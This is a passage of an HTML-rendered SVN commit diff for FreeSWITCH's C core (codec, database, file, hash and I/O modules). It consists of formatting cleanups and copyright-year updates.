-        status = codec-&gt;implementation-&gt;encode(codec, other_codec, decoded_data, decoded_data_len, 
</del><ins>+        if (codec-&gt;mutex)
+                switch_mutex_lock(codec-&gt;mutex);
+        status = codec-&gt;implementation-&gt;encode(codec, other_codec, decoded_data, decoded_data_len,
</ins><span class="cx">                                                                                    decoded_rate, encoded_data, encoded_data_len, encoded_rate, flag);
</span><del>-        if (codec-&gt;mutex) switch_mutex_unlock(codec-&gt;mutex);
</del><ins>+        if (codec-&gt;mutex)
+                switch_mutex_unlock(codec-&gt;mutex);
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><del>-                                                                                   
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_codec_decode(switch_codec_t *codec,
</span><span class="lines">@@ -602,10 +612,12 @@
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (codec-&gt;mutex) switch_mutex_lock(codec-&gt;mutex);
-        status = codec-&gt;implementation-&gt;decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate, 
</del><ins>+        if (codec-&gt;mutex)
+                switch_mutex_lock(codec-&gt;mutex);
+        status = codec-&gt;implementation-&gt;decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate,
</ins><span class="cx">                                                                                    decoded_data, decoded_data_len, decoded_rate, flag);
</span><del>-        if (codec-&gt;mutex) switch_mutex_unlock(codec-&gt;mutex);
</del><ins>+        if (codec-&gt;mutex)
+                switch_mutex_unlock(codec-&gt;mutex);
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -615,9 +627,9 @@
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         int free_pool = 0;
</span><del>-        
-        switch_assert(codec != NULL);        
-        
</del><ins>+
+        switch_assert(codec != NULL);
+
</ins><span class="cx">         if (!codec-&gt;implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Codec is not initialized!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="lines">@@ -630,14 +642,16 @@
</span><span class="cx">         pool = codec-&gt;memory_pool;
</span><span class="cx">         mutex = codec-&gt;mutex;
</span><span class="cx"> 
</span><del>-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx"> 
</span><span class="cx">         codec-&gt;implementation-&gt;destroy(codec);
</span><span class="cx">         switch_clear_flag(codec, SWITCH_CODEC_FLAG_READY);
</span><span class="cx"> 
</span><span class="cx">         UNPROTECT_INTERFACE(codec-&gt;codec_interface);
</span><span class="cx"> 
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx"> 
</span><span class="cx">         if (free_pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_dbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_db.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_db.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_db.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -57,14 +57,14 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(const unsigned char *) switch_core_db_column_text(switch_core_db_stmt_t *stmt, int iCol)
</span><span class="cx"> {
</span><del>-    const unsigned char *txt = sqlite3_column_text(stmt, iCol);
</del><ins>+        const unsigned char *txt = sqlite3_column_text(stmt, iCol);
</ins><span class="cx"> 
</span><del>-    if (!strcasecmp((char *)stmt, &quot;(null)&quot;)) {
</del><ins>+        if (!strcasecmp((char *) stmt, &quot;(null)&quot;)) {
</ins><span class="cx">                 memset(stmt, 0, 1);
</span><span class="cx">                 txt = NULL;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    return txt;
</del><ins>+        return txt;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -91,7 +91,6 @@
</span><span class="cx"> 
</span><span class="cx">         while (--sane &gt; 0) {
</span><span class="cx">                 ret = sqlite3_exec(db, sql, callback, data, &amp;err);
</span><del>-
</del><span class="cx">                 if (ret == SQLITE_BUSY || ret == SQLITE_LOCKED) {
</span><span class="cx">                         if (sane &gt; 1) {
</span><span class="cx">                                 switch_safe_free(err);
</span><span class="lines">@@ -239,7 +238,7 @@
</span><span class="cx">                 retries = 1000;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-again:
</del><ins>+  again:
</ins><span class="cx"> 
</span><span class="cx">         while (begin_retries &gt; 0) {
</span><span class="cx">                 again = 0;
</span><span class="lines">@@ -290,7 +289,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_core_db_exec(db, &quot;COMMIT&quot;, NULL, NULL, NULL);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_directoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_event_hookc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_event_hook.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_event_hook.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_event_hook.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_filec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_file.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_file.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_file.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -52,7 +52,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Handle already open\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!fh-&gt;samplerate) {
</span><span class="cx">                 if (!(fh-&gt;samplerate = rate)) {
</span><span class="cx">                         fh-&gt;samplerate = 8000;
</span><span class="lines">@@ -93,18 +93,18 @@
</span><span class="cx"> 
</span><span class="cx">                         if (*p == '[' &amp;&amp; *(p + 1) == *SWITCH_PATH_SEPARATOR) {
</span><span class="cx">                                 e = switch_find_end_paren(p, '[', ']');
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (e) {
</span><span class="cx">                                         *e = '\0';
</span><span class="cx">                                         spool_path = p + 1;
</span><span class="cx">                                         fh-&gt;file_path = e + 1;
</span><span class="cx">                                 }
</span><del>-                        } 
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (!spool_path) {
</span><span class="cx">                                 spool_path = switch_core_get_variable(SWITCH_AUDIO_SPOOL_PATH_VARIABLE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         file_path = fh-&gt;file_path;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -116,8 +116,8 @@
</span><span class="cx">                 fh-&gt;file_path = switch_core_strdup(fh-&gt;memory_pool, file_path);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if ((fh-&gt;file_interface = switch_loadable_module_get_file_interface(ext)) == 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid file format [%s] for [%s]!\n&quot;, ext, file_path);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="lines">@@ -127,13 +127,13 @@
</span><span class="cx">         fh-&gt;func = func;
</span><span class="cx">         fh-&gt;line = line;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (spool_path) {
</span><span class="cx">                 char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">                 switch_uuid_t uuid;
</span><span class="cx">                 switch_uuid_get(&amp;uuid);
</span><span class="cx">                 switch_uuid_format(uuid_str, &amp;uuid);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 fh-&gt;spool_path = switch_core_sprintf(fh-&gt;memory_pool, &quot;%s%s%s.%s&quot;, spool_path, SWITCH_PATH_SEPARATOR, uuid_str, ext);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -159,8 +159,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        if ((flags &amp; SWITCH_FILE_FLAG_WRITE) &amp;&amp; 
-                !is_stream &amp;&amp; (status = switch_file_exists(file_path, fh-&gt;memory_pool)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if ((flags &amp; SWITCH_FILE_FLAG_WRITE) &amp;&amp; !is_stream &amp;&amp; (status = switch_file_exists(file_path, fh-&gt;memory_pool)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;File [%s] not created!\n&quot;, file_path);
</span><span class="cx">                 fh-&gt;file_interface-&gt;file_close(fh);
</span><span class="cx">                 UNPROTECT_INTERFACE(fh-&gt;file_interface);
</span><span class="lines">@@ -193,8 +192,8 @@
</span><span class="cx">         switch_set_flag(fh, SWITCH_FILE_OPEN);
</span><span class="cx">         return status;
</span><span class="cx"> 
</span><del>- fail:
-        
</del><ins>+  fail:
+
</ins><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_FLAG_FREE_POOL)) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;fh-&gt;memory_pool);
</span><span class="cx">         }
</span><span class="lines">@@ -206,7 +205,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_size_t want, got, orig_len = *len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(fh != NULL);
</span><span class="cx">         switch_assert(fh-&gt;file_interface != NULL);
</span><span class="cx"> 
</span><span class="lines">@@ -214,23 +213,23 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         if (fh-&gt;buffer &amp;&amp; switch_buffer_inuse(fh-&gt;buffer) &gt;= *len * 2) {
</span><span class="cx">                 *len = switch_buffer_read(fh-&gt;buffer, data, orig_len * 2) / 2;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_DONE)) {
</span><span class="cx">                 switch_clear_flag(fh, SWITCH_FILE_DONE);
</span><span class="cx">                 *len = 0;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         want = *len;
</span><span class="cx"> 
</span><del>- more:
-        
</del><ins>+  more:
+
</ins><span class="cx">         if (fh-&gt;pre_buffer) {
</span><span class="cx">                 switch_size_t rlen;
</span><span class="cx">                 int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><span class="lines">@@ -244,7 +243,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         fh-&gt;samples_in += rlen;
</span><span class="cx">                                         if (fh-&gt;channels &gt; 1) {
</span><del>-                                                switch_mux_channels((int16_t *)fh-&gt;pre_buffer_data, rlen, fh-&gt;channels);
</del><ins>+                                                switch_mux_channels((int16_t *) fh-&gt;pre_buffer_data, rlen, fh-&gt;channels);
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_buffer_write(fh-&gt;pre_buffer, fh-&gt;pre_buffer_data, asis ? rlen : rlen * 2);
</span><span class="cx">                                 }
</span><span class="lines">@@ -253,10 +252,10 @@
</span><span class="cx"> 
</span><span class="cx">                 rlen = switch_buffer_read(fh-&gt;pre_buffer, data, asis ? *len : *len * 2);
</span><span class="cx">                 *len = asis ? rlen : rlen / 2;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*len == 0) {
</span><span class="cx">                         switch_set_flag(fh, SWITCH_FILE_DONE);
</span><del>-            goto top;
</del><ins>+                        goto top;
</ins><span class="cx">                 } else {
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -271,14 +270,14 @@
</span><span class="cx">                 fh-&gt;samples_in += *len;
</span><span class="cx"> 
</span><span class="cx">                 if (fh-&gt;channels &gt; 1) {
</span><del>-                        switch_mux_channels((int16_t *)data, *len, fh-&gt;channels);
</del><ins>+                        switch_mux_channels((int16_t *) data, *len, fh-&gt;channels);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         got = *len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) &amp;&amp; fh-&gt;native_rate != fh-&gt;samplerate) {
</span><span class="cx">                 if (!fh-&gt;resampler) {
</span><span class="cx">                         if (switch_resample_create(&amp;fh-&gt;resampler,
</span><span class="lines">@@ -288,8 +287,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_resample_process(fh-&gt;resampler, data, (uint32_t)*len);
-                
</del><ins>+                switch_resample_process(fh-&gt;resampler, data, (uint32_t) * len);
+
</ins><span class="cx">                 if (fh-&gt;resampler-&gt;to_len &lt; want || fh-&gt;resampler-&gt;to_len &gt; orig_len) {
</span><span class="cx">                         if (!fh-&gt;buffer) {
</span><span class="cx">                                 int factor = fh-&gt;resampler-&gt;to_len * fh-&gt;samplerate / 1000;
</span><span class="lines">@@ -316,10 +315,10 @@
</span><span class="cx">                         memcpy(data, fh-&gt;resampler-&gt;to, fh-&gt;resampler-&gt;to_len * 2);
</span><span class="cx">                         *len = fh-&gt;resampler-&gt;to_len;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -342,17 +341,16 @@
</span><span class="cx">         if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) &amp;&amp; fh-&gt;native_rate != fh-&gt;samplerate) {
</span><span class="cx">                 if (!fh-&gt;resampler) {
</span><span class="cx">                         if (switch_resample_create(&amp;fh-&gt;resampler,
</span><del>-                                                                           fh-&gt;native_rate, 
-                                                                           fh-&gt;samplerate, 
-                                                                           (uint32_t) orig_len * 2 * fh-&gt;channels, 
-                                                                           SWITCH_RESAMPLE_QUALITY, fh-&gt;channels) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                           fh-&gt;native_rate,
+                                                                           fh-&gt;samplerate,
+                                                                           (uint32_t) orig_len * 2 * fh-&gt;channels, SWITCH_RESAMPLE_QUALITY, fh-&gt;channels) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Unable to create resampler!\n&quot;);
</span><span class="cx">                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_resample_process(fh-&gt;resampler, data, (uint32_t)*len);
-                
</del><ins>+                switch_resample_process(fh-&gt;resampler, data, (uint32_t) * len);
+
</ins><span class="cx">                 if (fh-&gt;resampler-&gt;to_len &gt; orig_len) {
</span><span class="cx">                         if (!fh-&gt;dbuf) {
</span><span class="cx">                                 void *mem;
</span><span class="lines">@@ -379,22 +377,24 @@
</span><span class="cx">                 switch_size_t rlen, blen;
</span><span class="cx">                 switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_buffer_write(fh-&gt;pre_buffer, data, (asis ? *len : *len * 2) * fh-&gt;channels);
</span><span class="cx"> 
</span><span class="cx">                 rlen = switch_buffer_inuse(fh-&gt;pre_buffer);
</span><span class="cx"> 
</span><span class="cx">                 if (rlen &gt;= fh-&gt;pre_buffer_datalen) {
</span><span class="cx">                         if ((blen = switch_buffer_read(fh-&gt;pre_buffer, fh-&gt;pre_buffer_data, fh-&gt;pre_buffer_datalen))) {
</span><del>-                                if (!asis) blen /= 2;
-                                if (fh-&gt;channels &gt; 1) blen /= fh-&gt;channels;
</del><ins>+                                if (!asis)
+                                        blen /= 2;
+                                if (fh-&gt;channels &gt; 1)
+                                        blen /= fh-&gt;channels;
</ins><span class="cx">                                 if ((status = fh-&gt;file_interface-&gt;file_write(fh, fh-&gt;pre_buffer_data, &amp;blen)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         *len = 0;
</span><span class="cx">                                 }
</span><span class="cx">                                 fh-&gt;samples_out += blen;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return status;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -478,7 +478,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_file_truncate(switch_file_handle_t *fh, int64_t offset)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(fh != NULL);
</span><span class="cx">         switch_assert(fh-&gt;file_interface != NULL);
</span><span class="cx"> 
</span><span class="lines">@@ -490,7 +490,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ((status=fh-&gt;file_interface-&gt;file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if ((status = fh-&gt;file_interface-&gt;file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 if (fh-&gt;buffer) {
</span><span class="cx">                         switch_buffer_zero(fh-&gt;buffer);
</span><span class="cx">                 }
</span><span class="lines">@@ -525,11 +525,13 @@
</span><span class="cx">                         switch_size_t rlen, blen;
</span><span class="cx">                         int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><span class="cx"> 
</span><del>-                        while((rlen = switch_buffer_inuse(fh-&gt;pre_buffer))) {
</del><ins>+                        while ((rlen = switch_buffer_inuse(fh-&gt;pre_buffer))) {
</ins><span class="cx">                                 if ((blen = switch_buffer_read(fh-&gt;pre_buffer, fh-&gt;pre_buffer_data, fh-&gt;pre_buffer_datalen))) {
</span><del>-                                        if (!asis) blen /= 2;
-                                        if (fh-&gt;channels &gt; 1) blen /= fh-&gt;channels;
-                                        
</del><ins>+                                        if (!asis)
+                                                blen /= 2;
+                                        if (fh-&gt;channels &gt; 1)
+                                                blen /= fh-&gt;channels;
+
</ins><span class="cx">                                         if (fh-&gt;file_interface-&gt;file_write(fh, fh-&gt;pre_buffer_data, &amp;blen) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_hashc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_hash.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_hash.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_hash.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -57,7 +57,7 @@
</span><span class="cx"> 
</span><span class="cx">         sqlite3HashInit(&amp;newhash-&gt;table, case_sensitive ? SQLITE_HASH_BINARY : SQLITE_HASH_STRING, 1);
</span><span class="cx">         *hash = newhash;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_ioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_io.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_io.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_io.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -112,7 +112,8 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(session-&gt;read_codec &amp;&amp; session-&gt;read_codec-&gt;implementation &amp;&amp; switch_core_codec_ready(session-&gt;read_codec))) {
</span><span class="cx">                 if (switch_channel_test_flag(session-&gt;channel, CF_PROXY_MODE) || switch_channel_get_state(session-&gt;channel) == CS_HIBERNATE) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;%s reading on a session with no media!\n&quot;, switch_channel_get_name(session-&gt;channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;%s reading on a session with no media!\n&quot;,
+                                                          switch_channel_get_name(session-&gt;channel));
</ins><span class="cx">                         switch_cond_next();
</span><span class="cx">                         *frame = &amp;runtime.dummy_cng_frame;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -128,7 +129,8 @@
</span><span class="cx"> 
</span><span class="cx">         if (switch_channel_down(session-&gt;channel)) {
</span><span class="cx">                 *frame = NULL;
</span><del>-                status = SWITCH_STATUS_FALSE; goto even_more_done;
</del><ins>+                status = SWITCH_STATUS_FALSE;
+                goto even_more_done;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -140,8 +142,7 @@
</span><span class="cx">         if (session-&gt;read_codec &amp;&amp; !session-&gt;track_id &amp;&amp; session-&gt;track_duration) {
</span><span class="cx">                 if (session-&gt;read_frame_count == 0) {
</span><span class="cx">                         switch_event_t *event;
</span><del>-                        session-&gt;read_frame_count = (session-&gt;read_impl.actual_samples_per_second / 
-                                                                                 session-&gt;read_impl.samples_per_packet) * session-&gt;track_duration;
</del><ins>+                        session-&gt;read_frame_count = (session-&gt;read_impl.actual_samples_per_second / session-&gt;read_impl.samples_per_packet) * session-&gt;track_duration;
</ins><span class="cx"> 
</span><span class="cx">                         switch_event_create(&amp;event, SWITCH_EVENT_SESSION_HEARTBEAT);
</span><span class="cx">                         switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="lines">@@ -168,12 +169,12 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status) || !session-&gt;read_codec || !session-&gt;read_codec-&gt;mutex) {
</span><span class="cx">                         *frame = NULL;
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(session-&gt;codec_read_mutex);
</span><span class="cx">                 switch_mutex_lock(session-&gt;read_codec-&gt;mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -271,10 +272,9 @@
</span><span class="cx">                                         switch_mutex_lock(session-&gt;resample_mutex);
</span><span class="cx">                                         status = switch_resample_create(&amp;session-&gt;read_resampler,
</span><span class="cx">                                                                                                         read_frame-&gt;codec-&gt;implementation-&gt;actual_samples_per_second,
</span><del>-                                                                                                        session-&gt;read_impl.actual_samples_per_second, 
-                                                                                                        session-&gt;read_impl.decoded_bytes_per_packet,
-                                                                                                        SWITCH_RESAMPLE_QUALITY, 1);
-                                        
</del><ins>+                                                                                                        session-&gt;read_impl.actual_samples_per_second,
+                                                                                                        session-&gt;read_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
</ins><span class="cx">                                         switch_mutex_unlock(session-&gt;resample_mutex);
</span><span class="cx"> 
</span><span class="cx">                                         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -324,7 +324,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec init error!\n&quot;);
</span><span class="cx">                                 goto done;
</span><span class="cx">                         default:
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s decoder error!\n&quot;, session-&gt;read_codec-&gt;codec_interface-&gt;interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s decoder error!\n&quot;,
+                                                                  session-&gt;read_codec-&gt;codec_interface-&gt;interface_name);
</ins><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -334,7 +335,7 @@
</span><span class="cx">                         switch_bool_t ok = SWITCH_TRUE;
</span><span class="cx">                         int prune = 0;
</span><span class="cx">                         switch_thread_rwlock_rdlock(session-&gt;bug_rwlock);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (bp = session-&gt;bugs; bp; bp = bp-&gt;next) {
</span><span class="cx">                                 if (!switch_channel_test_flag(session-&gt;channel, CF_ANSWERED) &amp;&amp; switch_core_media_bug_test_flag(bp, SMBF_ANSWER_REQ)) {
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -352,7 +353,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_mutex_unlock(bp-&gt;read_mutex);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ok &amp;&amp; switch_test_flag(bp, SMBF_READ_REPLACE)) {
</span><span class="cx">                                         do_bugs = 0;
</span><span class="cx">                                         if (bp-&gt;callback) {
</span><span class="lines">@@ -363,13 +364,13 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
